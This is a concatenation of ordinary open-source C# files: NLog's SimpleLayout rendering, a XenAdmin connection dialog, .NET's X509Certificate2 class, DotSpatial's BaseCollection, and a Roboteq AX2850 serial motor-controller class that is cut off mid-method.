</summary> /// <param name="text">The text to be escaped.</param> /// <returns>The escaped text.</returns> /// <remarks> /// Escaping is done by replacing all occurrences of /// '${' with '${literal:text=${}' /// </remarks> public static string Escape(string text) { return text.Replace("${", "${literal:text=${}"); } /// <summary> /// Evaluates the specified text by expanding all layout renderers. /// </summary> /// <param name="text">The text to be evaluated.</param> /// <param name="logEvent">Log event to be used for evaluation.</param> /// <returns>The input text with all occurrences of ${} replaced with /// values provided by the appropriate layout renderers.</returns> public static string Evaluate(string text, LogEventInfo logEvent) { var l = new SimpleLayout(text); return l.Render(logEvent); } /// <summary> /// Evaluates the specified text by expanding all layout renderers /// in new <see cref="LogEventInfo" /> context. /// </summary> /// <param name="text">The text to be evaluated.</param> /// <returns>The input text with all occurrences of ${} replaced with /// values provided by the appropriate layout renderers.</returns> public static string Evaluate(string text) { return Evaluate(text, LogEventInfo.CreateNullEvent()); } /// <summary> /// Returns a <see cref="T:System.String"></see> that represents the current object. /// </summary> /// <returns> /// A <see cref="T:System.String"></see> that represents the current object. /// </returns> public override string ToString() { return "'" + this.Text + "'"; } internal void SetRenderers(LayoutRenderer[] renderers, string text) { this.Renderers = new ReadOnlyCollection<LayoutRenderer>(renderers); if (this.Renderers.Count == 1 && this.Renderers[0] is LiteralLayoutRenderer) { this.fixedText = ((LiteralLayoutRenderer)this.Renderers[0]).Text; } else { this.fixedText = null; } this.layoutText = text; } /// <summary> /// Renders the layout for the specified logging event by invoking layout renderers /// that make up the event. /// </summary> /// <param name="logEvent">The logging event.</param> /// <returns>The rendered layout.</returns> protected override string GetFormattedMessage(LogEventInfo logEvent) { if (IsFixedText) { return this.fixedText; } string cachedValue; if (logEvent.TryGetCachedLayoutValue(this, out cachedValue)) { return cachedValue; } int initialSize = this.maxRenderedLength; if (initialSize > MaxInitialRenderBufferLength) { initialSize = MaxInitialRenderBufferLength; } var builder = new StringBuilder(initialSize); //Memory profiling pointed out that using a foreach-loop was allocating //an Enumerator. Switching to a for-loop avoids the memory allocation. for (int i = 0; i < this.Renderers.Count; i++) { LayoutRenderer renderer = this.Renderers[i]; try { renderer.Render(builder, logEvent); } catch (Exception exception) { //also check IsErrorEnabled, otherwise 'MustBeRethrown' writes it to Error //check for performance if (InternalLogger.IsWarnEnabled || InternalLogger.IsErrorEnabled) { InternalLogger.Warn(exception, "Exception in '{0}.Append()'", renderer.GetType().FullName); } if (exception.MustBeRethrown()) { throw; } } } if (builder.Length > this.maxRenderedLength) { this.maxRenderedLength = builder.Length; } string value = builder.ToString(); logEvent.AddCachedLayoutValue(this, value); return value; } } }
/* Copyright (c) Citrix Systems, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, * with or without modification, are permitted provided * that the following conditions are met: * * * Redistributions of source code must retain the above * copyright notice, this list of conditions and the * following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the * following disclaimer in the documentation and/or other * materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND * CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ using System; using System.Drawing; using System.Windows.Forms; using XenAdmin.Network; using XenAPI; using XenAdmin.Core; using System.Text.RegularExpressions; namespace XenAdmin.Dialogs { public partial class NameAndConnectionPrompt : XenDialogBase { public NameAndConnectionPrompt() { InitializeComponent(); } protected override void OnLoad(EventArgs e) { base.OnLoad(e); foreach (IXenConnection connection in ConnectionsManager.XenConnections) { if (!connection.IsConnected) continue; Pool pool = Helpers.GetPool(connection); if (pool != null) { comboBox.Items.Add(pool); continue; } Host coordinator = Helpers.GetCoordinator(connection); if (coordinator != null) { comboBox.Items.Add(coordinator); continue; } } comboBox.Sorted = true; if (comboBox.Items.Count > 0) { // check to see if the user is readonly on connections, try and choose a sensible default int nonReadOnlyIndex = -1; for (int i = 0; i < comboBox.Items.Count; i++) { IXenObject xo = comboBox.Items[i] as IXenObject; if (xo != null && (xo.Connection.Session.IsLocalSuperuser || !XenAdmin.Commands.CrossConnectionCommand.IsReadOnly(xo.Connection))) { nonReadOnlyIndex = i; break; } } if (nonReadOnlyIndex == -1) comboBox.SelectedIndex = 0; else comboBox.SelectedIndex = nonReadOnlyIndex; } UpdateOK(); } public String PromptedName { get { return textBox.Text; } set { textBox.Text = value; } } public string OKText { set { okButton.Text = value; } } private string helpID = null; internal string HelpID { set { helpID = value; } } internal override string HelpName { get { return helpID ?? base.HelpName; } } public IXenConnection Connection { get { IXenObject o = comboBox.SelectedItem as IXenObject; if (o == null) return null; return o.Connection; } } private void textBox1_TextChanged(object sender, EventArgs e) { UpdateOK(); } private Regex invalid_folder = new Regex("^[ /]+$"); private void UpdateOK() { okButton.Enabled = !String.IsNullOrEmpty(textBox.Text.Trim()) && !invalid_folder.IsMatch(textBox.Text); } private const int PADDING = 1; private void comboBox_DrawItem(object sender, DrawItemEventArgs e) { ComboBox comboBox = sender as ComboBox; if (comboBox == null) return; if (e.Index < 0 || e.Index >= comboBox.Items.Count) return; Graphics g = e.Graphics; e.DrawBackground(); IXenObject o = comboBox.Items[e.Index] as IXenObject; if (o == null) return; Image image = Images.GetImage16For(o); Rectangle bounds = e.Bounds; if (image != null) g.DrawImage(image, bounds.X + PADDING, bounds.Y + PADDING, bounds.Height - 2 * PADDING, bounds.Height - 2 * PADDING); String name = Helpers.GetName(o).Ellipsise(50); e.DrawFocusRectangle(); if (name != null) using (Brush brush = new SolidBrush(e.ForeColor)) g.DrawString(name, Program.DefaultFont, brush, new Rectangle(bounds.X + bounds.Height, bounds.Y, bounds.Width - bounds.Height, bounds.Height)); } private void okButton_Click(object sender, EventArgs e) { DialogResult = DialogResult.OK; Close(); } private void cancelButton_Click(object sender, EventArgs e) { DialogResult = DialogResult.Cancel; Close(); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Internal.Cryptography; using Internal.Cryptography.Pal; using System; using System.IO; using System.Runtime.Serialization; using System.Security; using System.Text; namespace System.Security.Cryptography.X509Certificates { public class X509Certificate2 : X509Certificate { private volatile byte[] _lazyRawData; private volatile Oid _lazySignatureAlgorithm; private volatile int _lazyVersion; private volatile X500DistinguishedName _lazySubjectName; private volatile X500DistinguishedName _lazyIssuerName; private volatile PublicKey _lazyPublicKey; private volatile AsymmetricAlgorithm _lazyPrivateKey; private volatile X509ExtensionCollection _lazyExtensions; public override void Reset() { _lazyRawData = null; _lazySignatureAlgorithm = null; _lazyVersion = 0; _lazySubjectName = null; _lazyIssuerName = null; _lazyPublicKey = null; _lazyPrivateKey = null; _lazyExtensions = null; base.Reset(); } public X509Certificate2() : base() { } public X509Certificate2(byte[] rawData) : base(rawData) { } public X509Certificate2(byte[] rawData, string password) : base(rawData, password) { } [System.CLSCompliantAttribute(false)] public X509Certificate2(byte[] rawData, SecureString password) : base(rawData, password) { } public X509Certificate2(byte[] rawData, string password, X509KeyStorageFlags keyStorageFlags) : base(rawData, password, keyStorageFlags) { } [System.CLSCompliantAttribute(false)] public X509Certificate2(byte[] rawData, SecureString password, X509KeyStorageFlags keyStorageFlags) : base(rawData, password, keyStorageFlags) { } public X509Certificate2(IntPtr handle) : base(handle) { } internal X509Certificate2(ICertificatePal pal) : base(pal) { } public X509Certificate2(string fileName) : base(fileName) { } public X509Certificate2(string fileName, string password) : base(fileName, password) { } [System.CLSCompliantAttribute(false)] public X509Certificate2(string fileName, SecureString password) : base(fileName, password) { } public X509Certificate2(string fileName, string password, X509KeyStorageFlags keyStorageFlags) : base(fileName, password, keyStorageFlags) { } [System.CLSCompliantAttribute(false)] public X509Certificate2(string fileName, SecureString password, X509KeyStorageFlags keyStorageFlags) : base(fileName, password, keyStorageFlags) { } public X509Certificate2(X509Certificate certificate) : base(certificate) { } protected X509Certificate2(SerializationInfo info, StreamingContext context) : base(info, context) { throw new PlatformNotSupportedException(); } internal new ICertificatePal Pal => (ICertificatePal)base.Pal; public bool Archived { get { ThrowIfInvalid(); return Pal.Archived; } set { ThrowIfInvalid(); Pal.Archived = value; } } public X509ExtensionCollection Extensions { get { ThrowIfInvalid(); X509ExtensionCollection extensions = _lazyExtensions; if (extensions == null) { extensions = new X509ExtensionCollection(); foreach (X509Extension extension in Pal.Extensions) { X509Extension customExtension = CreateCustomExtensionIfAny(extension.Oid); if (customExtension == null) { extensions.Add(extension); } else { customExtension.CopyFrom(extension); extensions.Add(customExtension); } } _lazyExtensions = extensions; } return extensions; } } public string FriendlyName { get { ThrowIfInvalid(); return Pal.FriendlyName; } set { ThrowIfInvalid(); Pal.FriendlyName = value; } } public bool HasPrivateKey { get { ThrowIfInvalid(); return Pal.HasPrivateKey; } } public AsymmetricAlgorithm PrivateKey { get { ThrowIfInvalid(); if (!HasPrivateKey) return null; if (_lazyPrivateKey == null) { _lazyPrivateKey = GetKeyAlgorithm() switch { Oids.Rsa => Pal.GetRSAPrivateKey(), Oids.Dsa => Pal.GetDSAPrivateKey(), // This includes ECDSA, because an Oids.EcPublicKey key can be // many different algorithm kinds, not necessarily with mutual exclusion. // Plus, .NET Framework only supports RSA and DSA in this property. _ => throw new NotSupportedException(SR.NotSupported_KeyAlgorithm), }; } return _lazyPrivateKey; } set { throw new PlatformNotSupportedException(); } } public X500DistinguishedName IssuerName { get { ThrowIfInvalid(); X500DistinguishedName issuerName = _lazyIssuerName; if (issuerName == null) issuerName = _lazyIssuerName = Pal.IssuerName; return issuerName; } } public DateTime NotAfter { get { return GetNotAfter(); } } public DateTime NotBefore { get { return GetNotBefore(); } } public PublicKey PublicKey { get { ThrowIfInvalid(); PublicKey publicKey = _lazyPublicKey; if (publicKey == null) { string keyAlgorithmOid = GetKeyAlgorithm(); byte[] parameters = GetKeyAlgorithmParameters(); byte[] keyValue = GetPublicKey(); Oid oid = new Oid(keyAlgorithmOid); publicKey = _lazyPublicKey = new PublicKey(oid, new AsnEncodedData(oid, parameters), new AsnEncodedData(oid, keyValue)); } return publicKey; } } public byte[] RawData { get { ThrowIfInvalid(); byte[] rawData = _lazyRawData; if (rawData == null) { rawData = _lazyRawData = Pal.RawData; } return rawData.CloneByteArray(); } } public string SerialNumber { get { return GetSerialNumberString(); } } public Oid SignatureAlgorithm { get { ThrowIfInvalid(); Oid signatureAlgorithm = _lazySignatureAlgorithm; if (signatureAlgorithm == null) { string oidValue = Pal.SignatureAlgorithm; signatureAlgorithm = _lazySignatureAlgorithm = Oid.FromOidValue(oidValue, OidGroup.SignatureAlgorithm); } return signatureAlgorithm; } } public X500DistinguishedName SubjectName { get { ThrowIfInvalid(); X500DistinguishedName subjectName = _lazySubjectName; if (subjectName == null) subjectName = _lazySubjectName = Pal.SubjectName; return subjectName; } } public string Thumbprint { get { return GetCertHashString(); } } public int Version { get { ThrowIfInvalid(); int version = _lazyVersion; if (version == 0) version = _lazyVersion = Pal.Version; return version; } } public static X509ContentType GetCertContentType(byte[] rawData) { if (rawData == null || rawData.Length == 0) throw new ArgumentException(SR.Arg_EmptyOrNullArray, nameof(rawData)); return X509Pal.Instance.GetCertContentType(rawData); } public static X509ContentType GetCertContentType(string fileName) { if (fileName == null) throw new ArgumentNullException(nameof(fileName)); // Desktop compat: The desktop CLR expands the filename to a full path for the purpose of performing a CAS permission check. While CAS is not present here, // we still need to call GetFullPath() so we get the same exception behavior if the fileName is bad. string fullPath = Path.GetFullPath(fileName); return X509Pal.Instance.GetCertContentType(fileName); } public string GetNameInfo(X509NameType nameType, bool forIssuer) { return Pal.GetNameInfo(nameType, forIssuer); } public override string ToString() { return base.ToString(fVerbose: true); } public override string ToString(bool verbose) { if (verbose == false || Pal == null) return ToString(); StringBuilder sb = new StringBuilder(); // Version sb.AppendLine("[Version]"); sb.Append(" V"); sb.Append(Version); // Subject sb.AppendLine(); sb.AppendLine(); sb.AppendLine("[Subject]"); sb.Append(" "); sb.Append(SubjectName.Name); string simpleName = GetNameInfo(X509NameType.SimpleName, false); if (simpleName.Length > 0) { sb.AppendLine(); sb.Append(" "); sb.Append("Simple Name: "); sb.Append(simpleName); } string emailName = GetNameInfo(X509NameType.EmailName, false); if (emailName.Length > 0) { sb.AppendLine(); sb.Append(" "); sb.Append("Email Name: "); sb.Append(emailName); } string upnName = GetNameInfo(X509NameType.UpnName, false); if (upnName.Length > 0) { sb.AppendLine(); sb.Append(" "); sb.Append("UPN Name: "); sb.Append(upnName); } string dnsName = GetNameInfo(X509NameType.DnsName, false); if (dnsName.Length > 0) { sb.AppendLine(); sb.Append(" "); sb.Append("DNS Name: "); sb.Append(dnsName); } // Issuer sb.AppendLine(); sb.AppendLine(); sb.AppendLine("[Issuer]"); sb.Append(" "); sb.Append(IssuerName.Name); simpleName = GetNameInfo(X509NameType.SimpleName, true); if (simpleName.Length > 0) { sb.AppendLine(); sb.Append(" "); sb.Append("Simple Name: "); sb.Append(simpleName); } emailName = GetNameInfo(X509NameType.EmailName, true); if (emailName.Length > 0) { sb.AppendLine(); sb.Append(" "); sb.Append("Email Name: "); sb.Append(emailName); } upnName = GetNameInfo(X509NameType.UpnName, true); if (upnName.Length > 0) { sb.AppendLine(); sb.Append(" "); sb.Append("UPN Name: "); sb.Append(upnName); } dnsName = GetNameInfo(X509NameType.DnsName, true); if (dnsName.Length > 0) { sb.AppendLine(); sb.Append(" "); sb.Append("DNS Name: "); sb.Append(dnsName); } // Serial Number sb.AppendLine(); sb.AppendLine(); sb.AppendLine("[Serial Number]"); sb.Append(" "); sb.AppendLine(SerialNumber); // NotBefore sb.AppendLine(); sb.AppendLine("[Not Before]"); sb.Append(" "); sb.AppendLine(FormatDate(NotBefore)); // NotAfter sb.AppendLine(); sb.AppendLine("[Not After]"); sb.Append(" "); sb.AppendLine(FormatDate(NotAfter)); // Thumbprint sb.AppendLine(); sb.AppendLine("[Thumbprint]"); sb.Append(" "); sb.AppendLine(Thumbprint); // Signature Algorithm sb.AppendLine(); sb.AppendLine("[Signature Algorithm]"); sb.Append(" "); sb.Append(SignatureAlgorithm.FriendlyName); sb.Append('('); sb.Append(SignatureAlgorithm.Value); sb.AppendLine(")"); // Public Key sb.AppendLine(); sb.Append("[Public Key]"); // It could throw if it's some user-defined CryptoServiceProvider try { PublicKey pubKey = PublicKey; sb.AppendLine(); sb.Append(" "); sb.Append("Algorithm: "); sb.Append(pubKey.Oid.FriendlyName); // So far, we only support RSACryptoServiceProvider & DSACryptoServiceProvider Keys try { sb.AppendLine(); sb.Append(" "); sb.Append("Length: "); using (RSA pubRsa = this.GetRSAPublicKey()) { if (pubRsa != null) { sb.Append(pubRsa.KeySize); } } } catch (NotSupportedException) { } sb.AppendLine(); sb.Append(" "); sb.Append("Key Blob: "); sb.AppendLine(pubKey.EncodedKeyValue.Format(true)); sb.Append(" "); sb.Append("Parameters: "); sb.Append(pubKey.EncodedParameters.Format(true)); } catch (CryptographicException) { } // Private key Pal.AppendPrivateKeyInfo(sb); // Extensions X509ExtensionCollection extensions = Extensions; if (extensions.Count > 0) { sb.AppendLine(); sb.AppendLine(); sb.Append("[Extensions]"); foreach (X509Extension extension in extensions) { try { sb.AppendLine(); sb.Append("* "); sb.Append(extension.Oid.FriendlyName); sb.Append('('); sb.Append(extension.Oid.Value); sb.Append("):"); sb.AppendLine(); sb.Append(" "); sb.Append(extension.Format(true)); } catch (CryptographicException) { } } } sb.AppendLine(); return sb.ToString(); } public override void Import(byte[] rawData) { base.Import(rawData); } public override void Import(byte[] rawData, string password, X509KeyStorageFlags keyStorageFlags) { base.Import(rawData, password, keyStorageFlags); } [System.CLSCompliantAttribute(false)] public override void Import(byte[] rawData, SecureString password, X509KeyStorageFlags keyStorageFlags) { base.Import(rawData, password, keyStorageFlags); } public override void Import(string fileName) { base.Import(fileName); } public override void Import(string fileName, string password, X509KeyStorageFlags keyStorageFlags) { base.Import(fileName, password, keyStorageFlags); } [System.CLSCompliantAttribute(false)] public override void Import(string fileName, SecureString password, X509KeyStorageFlags keyStorageFlags) { base.Import(fileName, password, keyStorageFlags); } public bool Verify() { ThrowIfInvalid(); using (var chain = new X509Chain()) { // Use the default vales of chain.ChainPolicy including: // RevocationMode = X509RevocationMode.Online // RevocationFlag = X509RevocationFlag.ExcludeRoot // VerificationFlags = X509VerificationFlags.NoFlag // VerificationTime = DateTime.Now // UrlRetrievalTimeout = new TimeSpan(0, 0, 0) bool verified = chain.Build(this, throwOnException: false); for (int i = 0; i < chain.ChainElements.Count; i++) { chain.ChainElements[i].Certificate.Dispose(); } return verified; } } private static X509Extension CreateCustomExtensionIfAny(Oid oid) => oid.Value switch { Oids.BasicConstraints => X509Pal.Instance.SupportsLegacyBasicConstraintsExtension ? new X509BasicConstraintsExtension() : null, Oids.BasicConstraints2 => new X509BasicConstraintsExtension(), Oids.KeyUsage => new X509KeyUsageExtension(), Oids.EnhancedKeyUsage => new X509EnhancedKeyUsageExtension(), Oids.SubjectKeyIdentifier => new X509SubjectKeyIdentifierExtension(), _ => null, }; } }
// ******************************************************************************************************** // Product Name: DotSpatial.Common.dll // Description: A shared module for DotSpatial libraries // ******************************************************************************************************** // // The Original Code is from MapWindow.dll version 6.0 // // The Initial Developer of this Original Code is Ted Dunsford. Created 4/1/2009 9:41:48 AM // // Contributor(s): (Open source contributors should list themselves and their modifications here). // |-----------------|---------|--------------------------------------------------------------------- // | Name | Date | Comments // |-----------------|---------|---------------------------------------------------------------------- // // ******************************************************************************************************** using System.Collections; using System.Collections.Generic; namespace DotSpatial.Serialization { /// <summary> /// BaseCollection /// </summary> public class BaseCollection<T> : ICollection<T> where T : class { /// <summary> /// Private storage for the inner list. /// </summary> private List<T> _innerList; /// <summary> /// Gets or sets the inner list of T that actually controls the content for this BaseCollection. /// </summary> [Serialize("InnerList")] protected List<T> InnerList { get { return _innerList; } set { if (_innerList != null && _innerList.Count > 0) { foreach (T item in _innerList) { OnExclude(item); } } _innerList = value; foreach (T item in _innerList) { OnInclude(item); } OnInnerListSet(); } } #region ICollection<T> Members /// <summary> /// Adds an item to this base collection /// </summary> /// <param name="item"></param> public void Add(T item) { Include(item); InnerList.Add(item); OnIncludeComplete(item); OnInsert(InnerList.IndexOf(item), item); } /// <summary> /// A boolean that is true if this set contains the specified item /// </summary> /// <param name="item"></param> /// <returns></returns> public bool Contains(T item) { return InnerList.Contains(item); } /// <summary> /// Copies the items from this collection to the specified array /// </summary> /// <param name="array">The array to copy to</param> /// <param name="arrayIndex">The zero based integer array index to start copying to</param> public void CopyTo(T[] array, int arrayIndex) { InnerList.CopyTo(array, arrayIndex); } /// <summary> /// False /// </summary> public bool IsReadOnly { get { return false; } } /// <summary> /// Moves the given item to the new position. /// </summary> /// <param name="item">Item that gets moved.</param> /// <param name="newPosition">Position the item is moved to.</param> public void Move(T item, int newPosition) { if (!InnerList.Contains(item)) return; int index = InnerList.IndexOf(item); if (index == newPosition) return; InnerList.RemoveAt(index); if (InnerList.Count <= newPosition) // position past list end { InnerList.Add(item); } else if (newPosition < 0) // position before list start { InnerList.Insert(0, item); } else { InnerList.Insert(newPosition, item); } // position inside list OnMoved(item, InnerList.IndexOf(item)); } /// <summary> /// Removes the specified item from the collection /// </summary> /// <param name="item">The item to remove from the collection</param> /// <returns>Boolean, true if the remove operation is successful. </returns> public bool Remove(T item) { if (InnerList.Contains(item)) { int index = InnerList.IndexOf(item); InnerList.Remove(item); // Removed "Exclude(item) because calling OnRemoveComplete OnRemoveComplete(index, item); return true; } return false; } /// <summary> /// Returns a type specific enumerator /// </summary> /// <returns></returns> public IEnumerator<T> GetEnumerator() { return InnerList.GetEnumerator(); } /// <summary> /// Clears the list /// </summary> public void Clear() { OnClear(); } /// <summary> /// Returns the count of the inner list /// </summary> public int Count { get { return InnerList.Count; } } IEnumerator IEnumerable.GetEnumerator() { return InnerList.GetEnumerator(); } #endregion /// <summary> /// After serialization, the inner list is directly set. This is uzed by the FeatureLayer, for instance, /// to apply the new scheme. /// </summary> protected virtual void OnInnerListSet() { } /// <summary> /// Clears this collection /// </summary> protected virtual void OnClear() { List<T> deleteList = new List<T>(); foreach (T item in InnerList) { deleteList.Add(item); } foreach (T item in deleteList) { Remove(item); } } /// <summary> /// Occurs when items are inserted /// </summary> /// <param name="index"></param> /// <param name="value"></param> protected virtual void OnInsert(int index, object value) { T item = value as T; Include(item); } /// <summary> /// Occurs after a new item has been inserted, and fires IncludeComplete /// </summary> /// <param name="index"></param> /// <param name="value"></param> protected virtual void OnInsertComplete(int index, object value) { T item = value as T; OnIncludeComplete(item); } /// <summary> /// Fires after the remove operation, ensuring that OnExclude gets called /// </summary> /// <param name="index"></param> /// <param name="value"></param> protected virtual void OnRemoveComplete(int index, object value) { T item = value as T; Exclude(item); } /// <summary> /// Fires before the set operation ensuring the new item is included if necessary /// </summary> /// <param name="index"></param> /// <param name="oldValue"></param> /// <param name="newValue"></param> protected virtual void OnSet(int index, object oldValue, object newValue) { T item = newValue as T; Include(item); } /// <summary> /// Fires after the set operation, ensuring that the item is removed /// </summary> /// <param name="index"></param> /// <param name="oldValue"></param> /// <param name="newValue"></param> protected virtual void OnSetComplete(int index, object oldValue, object newValue) { T item = oldValue as T; Exclude(item); item = newValue as T; OnIncludeComplete(item); } /// <summary> /// Occurs any time an item is added or inserted into the collection /// and did not previously exist in the collection /// </summary> /// <param name="item"></param> protected virtual void OnInclude(T item) { } /// <summary> /// Occurs whenever a layer is moved. /// </summary> /// <param name="item">Layer that is moved.</param> /// <param name="newPosition">Position the layer is moved to.</param> protected virtual void OnMoved(T item, int newPosition) { } /// <summary> /// Occurs after the item has been included either by set, insert, or addition. /// </summary> /// <param name="item"></param> protected virtual void OnIncludeComplete(T item) { } /// <summary> /// Occurs any time an item is removed from the collection and no longer /// exists anywhere in the collection /// </summary> /// <param name="item"></param> protected virtual void OnExclude(T item) { } /// <summary> /// Includes the specified item. This should be called BEFORE an item /// is added to the list. /// </summary> /// <param name="item"></param> protected void Include(T item) { if (InnerList.Contains(item) == false) { OnInclude(item); } } /// <summary> /// Exclude should be called AFTER the item is successfully removed from the list. /// This allows any handlers that connect to the item to be removed in the event /// that the item is no longer anywhere in the list. /// </summary> /// <param name="item">The item to be removed</param> protected void Exclude(T item) { if (InnerList.Contains(item) == false) { OnExclude(item); } } #region Enumerator /// <summary> /// Defines a new kind of enumerator designed to make the CollectionBase cooperate with strong type collections /// </summary> /// <typeparam name="TE">The enumerator type.</typeparam> public class BaseCollectionEnumerator<TE> : IEnumerator<TE> where TE : class { private readonly IEnumerator _innerEnumerator; /// <summary> /// Creates the new enumerator /// </summary> /// <param name="innerEnumerator">A non type specific enumerator</param> public BaseCollectionEnumerator(IEnumerator innerEnumerator) { _innerEnumerator = innerEnumerator; } #region IEnumerator<TE> Members /// <summary> /// The current item /// </summary> public TE Current { get { return _innerEnumerator.Current as TE; } } object IEnumerator.Current { get { return _innerEnumerator.Current as TE; } } /// <summary> /// Does nothing /// </summary> public void Dispose() { } /// <summary> /// Moves to the next item in the collection /// </summary> /// <returns></returns> public bool MoveNext() { return _innerEnumerator.MoveNext(); } /// <summary> /// resets the enumerator /// </summary> public void Reset() { _innerEnumerator.Reset(); } #endregion } #endregion #region Private Variables #endregion #region Constructors /// <summary> /// Creates a new instance of BaseCollection /// </summary> public BaseCollection() { _innerList = new List<T>(); } #endregion } }
using System; using System.Collections; using System.Threading; using System.Text; using System.IO.Ports; using System.Globalization; using LibSystem; namespace LibRoboteqController { /// <summary> /// class RQController encapsulates all AX2850 commands, queries and mode switching, handles RS232 communication, including monitoring and heartbeat. /// it is intended to be the AX2850 hardware controller layer, not aware of robot configuration. /// </summary> public class ControllerRQAX2850 : ControllerBase { private string m_portName; private SerialPort m_port = null; private RQInteractionQueue[] m_queues = new RQInteractionQueue[4]; private RQInteractionQueue m_commandPowerLeftQueue; private RQInteractionQueue m_commandPowerRightQueue; private RQInteractionQueue m_commandQueue; private RQInteractionQueue m_queryQueue; private RQInteractionQueue m_currentQueue = null; private object m_currentQueuePadlock = ""; private Hashtable m_measuredValues = new Hashtable(); public Hashtable measuredValues { get { return m_measuredValues; } } private Logger m_logger = null; private ArrayList m_loggedValueNames = new ArrayList(); private ArrayList m_querySet = new ArrayList(); // of RQQuery, queries to use on regular basis as watchdog quieter. #region state variables private bool m_isOnline = false; public bool isOnline { get { return m_isOnline; } // cable connected, port alive, receiving data and is either grabbed or monitored set { m_isOnline = value; } } private bool m_isGrabbed = false; public bool isGrabbed { get { return m_isGrabbed; } // is online, watchdog satisfied (we are sending stream of queries) and ready for commands set { // the value is ignored - you can set it to true only to make a point m_isGrabbed = true; m_isMonitored = false; } } private bool m_isMonitored = false; public bool isMonitored { get { return m_isMonitored; } // is online, but not in RS232 mode, we are receiving monitoring lines set { // the value is ignored - you can set it to true only to make a point m_isMonitored = true; m_isGrabbed = false; } } public bool isUnknownState { get { return !m_isGrabbed && !m_isMonitored; } set { // after commands that may change the state (like reset) - let the incoming stream set the state as appropriate. // the value is ignored - you can set it to true only to make a point isOnline = false; m_isMonitored = false; m_isGrabbed = false; } } #endregion // state variables #region lifecycle public ControllerRQAX2850(string portName) { m_portName = portName; m_queues[0] = m_commandPowerLeftQueue = new RQMotorCommandQueue("commandPowerLeft"); m_queues[1] = m_commandPowerRightQueue = new RQMotorCommandQueue("commandPowerRight"); m_queues[2] = m_commandQueue = new RQInteractionQueue("command"); m_queues[3] = m_queryQueue = new RQInteractionQueue("query"); m_querySet.Add(new RQQueryAnalogInputs(m_measuredValues)); m_querySet.Add(new RQQueryDigitalInputs(m_measuredValues)); m_querySet.Add(new RQQueryHeatsinkTemperature(m_measuredValues)); m_querySet.Add(new RQQueryMotorAmps(m_measuredValues)); m_querySet.Add(new RQQueryMotorPower(m_measuredValues)); m_querySet.Add(new RQQueryVoltage(m_measuredValues)); m_querySet.Add(new RQQueryEncoderLeftAbsolute(m_measuredValues)); m_querySet.Add(new RQQueryEncoderRightAbsolute(m_measuredValues)); m_querySet.Add(new RQQueryEncoderSpeed(m_measuredValues)); foreach (RQQuery query in m_querySet) { foreach(string vName in query.ValueNames) { m_loggedValueNames.Add(vName); } } m_logger = new Logger(m_measuredValues, m_loggedValueNames); startMonitoringThread(); } public override void init() // throws ControllerException { ensurePort(); isUnknownState = true; } public override void Dispose() { lock (this) { m_port.Close(); m_port = null; killMonitoringThread(); } } #endregion // lifecycle public override bool DeviceValid() // IdentifyDeviceType found something real { return true; } public override void IdentifyDeviceType() { } public override bool GrabController() // returns true on success { ensurePort(); byte[] oneCR = new byte[] { 0x0D }; for (int i = 0; i < 10; i++) { Thread.Sleep(30); // 10 doesn't work, 20 and more works fine m_port.Write(oneCR, 0, 1); } isUnknownState = true; //m_queryQueue.Enqueue(m_querySet[0]); return true; } public override bool ResetController() // returns true on success { ensurePort(); m_port.WriteLine("%rrrrrr"); isUnknownState = true; return true; } public override int SetMotorPowerOrSpeedLeft(int powerOrSpeed) { RQCommandMotorPowerLeft cmd = new RQCommandMotorPowerLeft(powerOrSpeed); cmd.queue = m_commandPowerLeftQueue; // to allow re-queueing of a failed command m_commandPowerLeftQueue.Enqueue(cmd); return powerOrSpeed; } public override int SetMotorPowerOrSpeedRight(int powerOrSpeed) { RQCommandMotorPowerRight cmd = new RQCommandMotorPowerRight(powerOrSpeed); cmd.queue = m_commandPowerRightQueue; // to allow re-queueing of a failed command m_commandPowerRightQueue.Enqueue(cmd); return powerOrSpeed; } public override string ToString() { return "RoboteQ AX2850 Controller"; } #region serial port operations private void ensurePort() { if (m_port == null) { m_port = new SerialPort(m_portName, 9600, System.IO.Ports.Parity.Even, 7, System.IO.Ports.StopBits.One); // Attach a method to be called when there is data waiting in the port's buffer m_port.DataReceived += new SerialDataReceivedEventHandler(port_DataReceived); m_port.ErrorReceived += new SerialErrorReceivedEventHandler(port_ErrorReceived); m_port.NewLine = "\r"; m_port.DtrEnable = true; m_port.Handshake = System.IO.Ports.Handshake.None; m_port.Encoding = Encoding.ASCII; m_port.RtsEnable = true; // Open the port for communications m_port.Open(); m_port.DiscardInBuffer(); } } void port_ErrorReceived(object sender, SerialErrorReceivedEventArgs e) { Tracer.Error("port_ErrorReceived: " + e.ToString()); } private StringBuilder m_sb = new StringBuilder(); private int m_wCnt = 0; // watchdog "W" consecutive count to make sure we've grabbed the controller all right private void port_DataReceived(object sender, SerialDataReceivedEventArgs e) { long timestamp = DateTime.Now.Ticks; isOnline = true; while (m_port.BytesToRead > 0) { byte b = (byte)m_port.ReadByte(); byte[] bb = new byte[1]; bb[0] = b; Encoding enc = Encoding.ASCII; string RxString = enc.GetString(bb); if (RxString == "\r") { m_wCnt = 0; onStringReceived(m_sb.ToString(), timestamp); m_sb.Remove(0, m_sb.Length); } else if (isUnknownState && RxString == "W") { //Tracer.Trace("got W"); m_wCnt++; if (m_wCnt == 3) { // we detected watchdog. Set state flags, so that queries and commands may flow and supress watchdog isGrabbed = true; 